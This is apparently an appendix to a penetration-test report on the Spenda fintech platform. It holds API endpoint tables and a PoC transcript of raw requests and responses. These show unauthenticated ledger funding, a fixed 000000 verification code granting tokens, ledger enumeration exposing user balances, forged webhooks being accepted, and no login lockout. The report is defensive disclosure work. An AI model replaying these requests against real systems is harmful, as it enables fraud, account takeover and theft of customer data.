GET	/console/workspaces/{slug}/balances	auth	Console Balances
GET	/console/workspaces/{slug}/pipeline	auth	Console Pipeline
GET	/console/workspaces/{slug}/jobs	auth	Console Jobs
GET	/console/workspaces/{slug}/vaults/{vault_account_id}	auth	Console Vault Dossier
GET	/console/jobs/{job_id}	auth	Console Job
GET	/console/transactions/lookup	auth	Console Tx Lookup
GET	/console/workspaces/{slug}/fireblocks/transactions/{fireblocks_tx_id}	auth	Console Fireblocks Tx
GET	/console/workspaces/{slug}/scan-cycles	auth	Console Scan Cycles
GET	/console/workspaces/{slug}/skip-census	auth	Console Skip Census
GET	/console/workspaces/{slug}/fees	auth	Console Fees
GET	/console/topology	auth	Console Topology
GET	/console/watchers	auth	Console Watchers
GET	/console/alerts	auth	Console Alerts
GET	/console/audit	auth	Console Audit
GET	/console/pauses	auth	Console Pauses
GET	/console/stuck	auth	Console Stuck
GET	/console/settings	auth	Console Settings
POST	/console/vaults/{slug}/{vault_account_id}/hide	auth	Console Vault Hide
POST	/console/vaults/{slug}/{vault_account_id}/unhide	auth	Console Vault Unhide
POST	/console/transactions/{job_id}/boost	auth	Console Boost
POST	/console/transactions/{job_id}/drop	auth	Console Drop
POST	/console/workspaces/{slug}/fireblocks/transactions/{fireblocks_tx_id}/boost	auth	Console Fireblocks Boost
POST	/console/workspaces/{slug}/fireblocks/transactions/{fireblocks_tx_id}/drop	auth	Console Fireblocks Drop

POST	/api/v1/finance/accounting/funding	auth	Fund a platform ASSET from EQUITY
POST	/api/v1/finance/accounting/transfer	auth	Transfer between platform ASSET accounts
POST	/api/v1/cards/fireblocks/transactions/{tx_id}/resend-webhooks	auth	Resend Transaction webhooks
POST	/api/v1/rails/crypto-deposits/fireblocks/transactions/{tx_id}/resend-webhooks	auth	Resend Transaction webhooks
GET	/api/v1/sample/me	auth	Me
GET	/api/v1/admin/profile	auth	Get Profile
PUT	/api/v1/admin/profile	auth	Update Profile
POST	/api/v1/admin/profile/change-password	auth	Change Password
POST	/api/v1/admin/administrators/invite	auth	Invite Admin
POST	/api/v1/admin/administrators/recover-password	auth	Recover Admin Password
GET	/api/v1/admin/administrators	auth	List Admins
DELETE	/api/v1/admin/administrators/{admin_id}	auth	Delete Admin
PUT	/api/v1/admin/administrators/{admin_id}/role	auth	Change Admin Role
GET	/api/v1/admin/administrators/roles	auth	List Roles
POST	/api/v1/admin/administrators/roles	auth	Create Role
GET	/api/v1/admin/administrators/roles/{role_id}	auth	Get Role
PUT	/api/v1/admin/administrators/roles/{role_id}	auth	Update Role
DELETE	/api/v1/admin/administrators/roles/{role_id}	auth	Delete Role
GET	/api/v1/admin/administrators/roles/{role_id}/permissions	auth	List Role Permissions
PUT	/api/v1/admin/administrators/roles/{role_id}/permissions	auth	Replace Role Permissions
POST	/api/v1/admin/administrators/roles/{role_id}/permissions/{permission_id}	auth	Add Role Permission
DELETE	/api/v1/admin/administrators/roles/{role_id}/permissions/{permission_id}	auth	Remove Role Permission
GET	/api/v1/admin/administrators/permissions	auth	List Permission Catalog
GET	/api/v1/admin/permissions/me	auth	Get My Permissions
GET	/api/v1/admin/activity/logs	auth	Get Activity Logs
GET	/api/v1/admin/activity/logs/{admin_id}	auth	Get Admin Activity Logs
GET	/api/v1/admin/activity/me	auth	Get My Activity Logs
GET	/api/v1/admin/activity/recent	auth	Get Recent Activity
GET	/api/v1/content/announcements	auth	Get All Announcements
POST	/api/v1/content/announcements	auth	Create Or Edit Announcement
GET	/api/v1/content/faqs	auth	List Faqs
POST	/api/v1/content/faq	auth	Create Faq
GET	/api/v1/content/faq/{faq_id}	auth	Get Faq

POST	/console/workspaces/{slug}/scan-mode	auth	Drop Console Scan Mode
POST	/console/jobs/{job_id}/release	auth	Console Release Job
POST	/console/workspaces/{slug}/release-parked	auth	Console Release Parked
POST	/console/settings/{key}	auth	Console Setting Update
POST	/console/jobs/{job_id}/recheck	auth	Console Recheck
POST	/console/jobs/{job_id}/cancel	auth	Console Cancel
POST	/console/vaults/{slug}/{vault_account_id}/{asset_id}/refresh-balance	auth	Console Refresh Balance
POST	/intents	auth	Create Intent
POST	/jobs/{job_id}/retry	auth	Retry Job
GET	/targets	auth	List Targets
POST	/targets	auth	Upsert Target
POST	/pause	auth	Pause
POST	/unpause	auth	Unpause
GET	/pauses	auth	List Pauses
GET	/jobs	auth	List Jobs
GET	/jobs/{job_id}	auth	Get Job
GET	/stats/inflight	auth	Inflight
GET	/stats/stuck	auth	Stuck

Fig.14 — Rheo liquidity engine reference (42 paths)

PATCH	/api/v1/content/faqs/{faq_id}	auth	Update Faq
DELETE	/api/v1/content/faqs/{faq_id}	auth	Delete Faq
GET	/api/v1/users/devices	auth	List user devices
GET	/api/v1/users/devices/user/{user_id}	auth	Get user devices
GET	/api/v1/users/devices/{hardware_id}/user-count	auth	Get device user count
GET	/api/v1/users/devices/{hardware_id}/users	auth	Get device users
GET	/api/v1/users	auth	List Users
GET	/api/v1/users/by-spenda-id/{spenda_id}	auth	Get User By Spenda Id

Fig.13 — ops-svc backoffice reference (148 endpoints)

POST	/console/workspaces/{slug}/scan-mode	auth	Drop Console Scan Mode
POST	/console/jobs/{job_id}/release	auth	Console Release Job
POST	/console/workspaces/{slug}/release-parked	auth	Console Release Parked
POST	/console/settings/{key}	auth	Console Setting Update
POST	/console/jobs/{job_id}/recheck	auth	Console Recheck
POST	/console/jobs/{job_id}/cancel	auth	Console Cancel
POST	/console/vaults/{slug}/{vault_account_id}/{asset_id}/refresh-balance	auth	Console Refresh Balance
POST	/intents	auth	Create Intent
POST	/jobs/{job_id}/retry	auth	Retry Job
GET	/targets	auth	List Targets
POST	/targets	auth	Upsert Target
POST	/pause	auth	Pause
POST	/unpause	auth	Unpause
GET	/pauses	auth	List Pauses
GET	/jobs	auth	List Jobs
GET	/jobs/{job_id}	auth	Get Job
GET	/stats/inflight	auth	Inflight
GET	/stats/stuck	auth	Stuck

Fig.16 — Deterministic reference rendering (same endpoint data as live Swagger UI)

Spenda Assessment — PoC Evidence Transcript (2026-08-13, UTC)

1. CRITICAL — Unauthenticated platform funding (journal written, no auth)

```
POST /api/transactions/api/v1/internal/ops/platform/funding (devapi-v2.spenda.africa)
{"spenda_id":"28264240","amount_major":"1.00","currency":"NGN","reference":"poc-..."}
HTTP 200 - {"data":{"journal_id":"06a7e35d-12c5-7e85-8800-e2ea99669fb","currency":"NGN", ...}} JOURNAL
CREATED
```

```
POST /api/transactions/api/v1/internal/ops/platform/funding (stagesapi.spenda.africa)
{"spenda_id":"28264240","amount_major":"1.00","currency":"NGN","reference":"poc-..."}
HTTP 200 - {"data":{"journal_id":"06a7e35d-24f0-7f9d-8800-789191b48ab5", ...}} JOURNAL CREATED
```

2. CRITICAL — Fixed email-verify code 000000 (dev user-svc)

```
POST /api/users/api/v1/auth/email/verify {"email":"secaudit.re3...@gmail.com","code":"000000"}
HTTP 200 - {"data":{"token":"eyJhbGciOiJIUzI1NiIsInp0eCI6Ii1lbnQp...","purpose":"pin_set"}}
POST /api/users/api/v1/auth/verify {"purpose":"pin_set","pin":"11111"}
HTTP 200 - {"data":{"message":"PIN set successfully","access":"eyJhbGciOiJIUzI1NiIsInp0eCI6Ii1lbnQp...}} FULL TOKEN
GET /api/users/api/v1/me
HTTP 200 - {"data":{"id":"06a7e445-682b-7eed-8800-baf7414e0d","spenda_id":"28264240","email":"...","phone":"+2349012345697","kyc_level":0,"country_code":"NG"}}
ba7c7414e0d"
```

3. CRITICAL — Unauthenticated full-ledger enumeration

```
GET /api/transactions/api/v1/internal/ops/platform/accounts?owner_type=USER&size=200
HTTP 200 - 98 user accounts, incl.:
069d97ab-1cf2-763a-8000-8204b0feb8fc USER MAIN WALLET NGN 56,420,472
069f33bc-bdf6-7719-8000-550e8cd0c916 USER MAIN WALLET NGN 34,122,441
06a0b31b-e0b0-71e8-8000-372b0527b7fa USER MAIN WALLET NGN 3,073,143
069e8f79-28e9-71e8-8000-c8ccaf15c95 USER MAIN WALLET NGN 1,090,000
06a1702d-4f64-7957-8000-864441ac3860 USER MAIN WALLET NGN 2,160,000
069e8f94-408c-7178-8000-8e281b0c460 USER MAIN WALLET NGN 2,055,000
```

```
GET .../accounts?owner_type=PLATFORM&size=10
HTTP 200 - platform books:
PALMPAY NG PLATFORM PROVIDER POOL NGN -4,132,000 (meta: provider=PALMPAY, domain=bankingrails,
Legacy_Owner_id=PALMPAY)
SAFHAVEN NG PLATFORM PROVIDER POOL NGN ...
```

4. HIGH — Forged webhooks accepted (no signature)

```
POST /api/v1/sudo/webhook {"business":"poc","type":"authorization.approved","data":
{"created_at":"1767225600"}
HTTP 200 - {"statusCode":200,"responseCode":"00"} FORGED CARD AUTHORIZATION ACCEPTED
POST /api/v1/firelocks/webhook {} (and forged TRANSACTION bodies)
HTTP 200 - {"statusCode":"ok"} REGRESSION: signature validation absent (was 401 pre-redeploy)
POST /api/v1/salle-id/callback {}
HTTP 200 - {"success":true,"message":"callback received successfully"}
POST /api/v1/palmpay/webhook {} / nomby/webhook {} / vspay/webhook {}
HTTP 200 "Webhook received" / "response":"success" (empty bodies accepted)
```

5. MEDIUM — Lockout-path audit (controlled accounts)

```
Customer API /auth/login ..... 32 wrong passwords - all 401, NO LOCKOUT
v2 user-svc /auth/login ..... 27 wrong passwords - all 401, NO LOCKOUT
Backoffice /admin/auth/login ..... 40 wrong passwords - all 401, NO LOCKOUT
```

```
v2 /auth/verify.pin ..... 5 wrong PINs - 403 "Your account has been locked. Please reset your
pin." PIN LOCKED
(correct password login on locked account - HTTP 200 + full token; lock is PIN-scoped only)
Customer API /auth/verify-code ... 2 wrong codes - 403 "Too many attempt, try again in an hour"
```

6. MEDIUM — Unauth provider oracles

```
GET /api/v1/safehaven/transfer-status?reference=poc-fake-ref
HTTP 200 - {"message":"Transfer status retrieved successful","data":
{"statusCode":400,"responseCode":"25","message":"Unable to locate record"}} LIVE SAFHAVEN API PROXY
```

7. Backoffice unauth primitives

```
POST /api/backoffice/api/v1/users/kyc/testing/reset/00000000-0000-0000-0000-000000000000 (devapi-v2 +
stagesapi)
HTTP 200 - {"data":{"user_id":"...","profile_level":0,"deleted":
{"fingerprints":0,"verifications":0,"level_changes":0,"attempt_limits":0,"addresses":0}}}
POST /admin/mfa/challenge/stepup ("admin_id":"00000000...") (no session)
HTTP 503 {"code":"db.error"} - executes unauthenticated to DB layer
```

All PoCs executed against controlled test accounts / non-existent references. No funds moved, no real victim data touched. Evidence recorded 2026-08-13 21:30-21:55 UTC.

Fig.15 — Full PoC evidence transcript (raw request/response logs)